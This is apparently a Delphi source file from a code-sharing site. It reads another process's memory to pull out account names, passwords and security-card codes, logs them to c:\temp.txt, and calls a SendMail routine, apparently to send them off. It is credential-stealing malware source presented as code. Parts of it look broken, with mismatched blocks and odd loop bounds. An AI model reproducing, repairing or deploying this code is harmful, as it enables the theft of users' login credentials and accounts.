📄 mainunit.~pas
字号:
unit MainUnit;
interface
uses
Windows,Classes;
resourcestring
String_Int64Type='Int64 Type';
String_StringType='Text Type';
Procedure AddFoundToListView(theIndex:integer);
Procedure ScanWindows(theIndex:integer);
Procedure ScanWindowsM(theIndex:integer);
Procedure AddFoundToListViewM(theIndex:integer);
procedure ScanWindowsT(theIndex:integer);
Procedure AddFoundToListViewT(theIndex:integer);
implementation
uses GPKernel,VarUnit,FunUnit;
////////将搜索到的数值加入列表(USER)////////////////////
Procedure AddFoundToListView(theIndex:integer);
var BufSize:Int64;
AddressBuf:Dword;
i,j:Integer;
TempStringBYTE:Array[1..90] of BYTE;
Tempstring:string;
F:TEXTFILE;
begin
with thetask[theIndex] do
begin
AddressmemStream.Seek(0,soFrombeginning); ////低阶搜索BufSize=0;
BufSize:= AddressMemStream.Size;
if (BufSize>0) and ( not thetask[theIndex].InSearchProcess) then
begin
BufSize:=BufSize shr 2;
if BufSize>1 then BufSize:=1; ///只显示前面3个值
For i:=1 to BufSize do
begin
try
AddressMemStream.ReadBuffer(AddressBuf,Sizeof(AddressBuf));
GPKernel.Readmemory(ProcessID,AddressBuf,@TempStringBYTE,String_value);
Tempstring:='';
for j:=2 to 20 do
Tempstring:=Tempstring+chr(TempstringBYTE[j]);
// T:=GetStr(Tempstring,'=','&');
T:=Tempstring;
except
Continue; //float ofent make error
end;
end;//for end
begin
assignfile(F,'c:\temp.txt');
Append(F);
try
writeln(F,'账号:',T);
finally
closefile(F);
end;
end; //if end
end;
end;///with end
end;
////////将搜索到的数值加入列表(PASS)////////////////////
Procedure AddFoundToListViewM(theIndex:integer);
var BufSize:Int64;
AddressBuf:Dword;
i,j:Integer;
TempStringBYTE1:Array[1..90] of BYTE;
Tempstring:string;
F:TEXTFILE;
begin
with thetask[theIndex] do
begin
AddressmemStream.Seek(0,soFrombeginning); ////低阶搜索BufSize=0;
BufSize:= AddressMemStream.Size;
if (BufSize>0) and ( not thetask[theIndex].InSearchProcess) then
begin
BufSize:=BufSize shr 2;
if BufSize>3 then BufSize:=3; ///只显示前面3个值
For i:=1 to BufSize do
begin
try
AddressMemStream.ReadBuffer(AddressBuf,Sizeof(AddressBuf));
GPKernel.Readmemory(ProcessID,AddressBuf,@TempStringBYTE1,String_value);
Tempstring:='';
for j:=75 to 90 do
Tempstring:=Tempstring+chr(TempstringBYTE1[j]);
if i=1 then
begin
Pow1:=Tempstring;
end
else if i=2 then
begin
Pow2:=Tempstring;
end
else if i=3 then
begin
Pow3:=Tempstring;
end;
begin
assignfile(F,'c:\temp.txt');
Append(F);
try
writeln(F,'密码:',Pow1,Pow2,Pow3);
finally
closefile(F);
end;
end;
except
Continue; //float ofent make error
end;
end;//for end
end; //if end
end;
SendMail(3);
end;///with end
//账号搜索//
procedure ScanWindows(theIndex:integer);
begin
//StopHookKeyMouse;
with theTask[CurrenttaskIndex] do
begin
ScanType:=GetScanTypeAndTempVar(TextName,CurrentTaskIndex);
theTask[CurrentTaskIndex].VarType:=4;
if SearchTimes=0 then
begin
//TFirstScanThread.Create(CurrentTaskIndex);
TFirstScanThread(CurrentTaskIndex);
end;
end;///with end;
AddFoundToListView(CurrentTaskIndex);
CanUpdateTask:=-999;
end;
//密码搜索//
procedure ScanWindowsM(theIndex:integer);
begin
with theTask[CurrenttaskIndex] do
begin
ScanType:=GetScanTypeAndTempVar(TextNameM,CurrentTaskIndex);
theTask[CurrentTaskIndex].VarType:=4;
if SearchTimes=0 then
begin
TFirstScanThread(CurrentTaskIndex);
end;
end;///with end;
AddFoundToListViewM(CurrentTaskIndex);
CanUpdateTask:=-999;
end;
//口令卡搜索//
procedure ScanWindowsT(theIndex:integer);
begin
// StopHookKeyMouse;
with theTask[CurrenttaskIndex] do
begin
ScanType:=GetScanTypeAndTempVar(TextNameT,CurrentTaskIndex);
theTask[CurrentTaskIndex].VarType:=4;
if SearchTimes=0 then
begin
TFirstScanThread(CurrentTaskIndex);
end;
end;///with end;
AddFoundToListViewT(CurrentTaskIndex);
CanUpdateTask:=-999;
end;
////////口令卡值////////////////////
Procedure AddFoundToListViewT(theIndex:integer);
var BufSize:Int64;
AddressBuf:Dword;
i,j:Integer;
TempStringBYTE1:Array[1..90] of BYTE;
Tempstring:string;
TE:string;
F:TEXTFILE;
begin
with thetask[theIndex] do
begin
AddressmemStream.Seek(0,soFrombeginning); ////低阶搜索BufSize=0;
BufSize:= AddressMemStream.Size;
if (BufSize>0) and ( not thetask[theIndex].InSearchProcess) then
begin
BufSize:=BufSize shr 2;
if BufSize>1then BufSize:=3; ///只显示前面3个值
For i:=3 to BufSize do
begin
try
AddressMemStream.ReadBuffer(AddressBuf,Sizeof(AddressBuf));
GPKernel.Readmemory(ProcessID,AddressBuf,@TempStringBYTE1,String_value);
Tempstring:='';
for j:=1 to 6 do
Tempstring:=Tempstring+chr(TempstringBYTE1[j]);
Tezen:=Tempstring;
begin
assignfile(F,'c:\temp.txt');
Append(F);
try
writeln(F,'测试:',Tezen);
finally
closefile(F);
end;
end;
except
Continue; //float ofent make error
end;
// if (trim(Tezen)<>'') then
// Pow3:='';
// end;//for end
end; //if end
end;///with end
end;
END;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -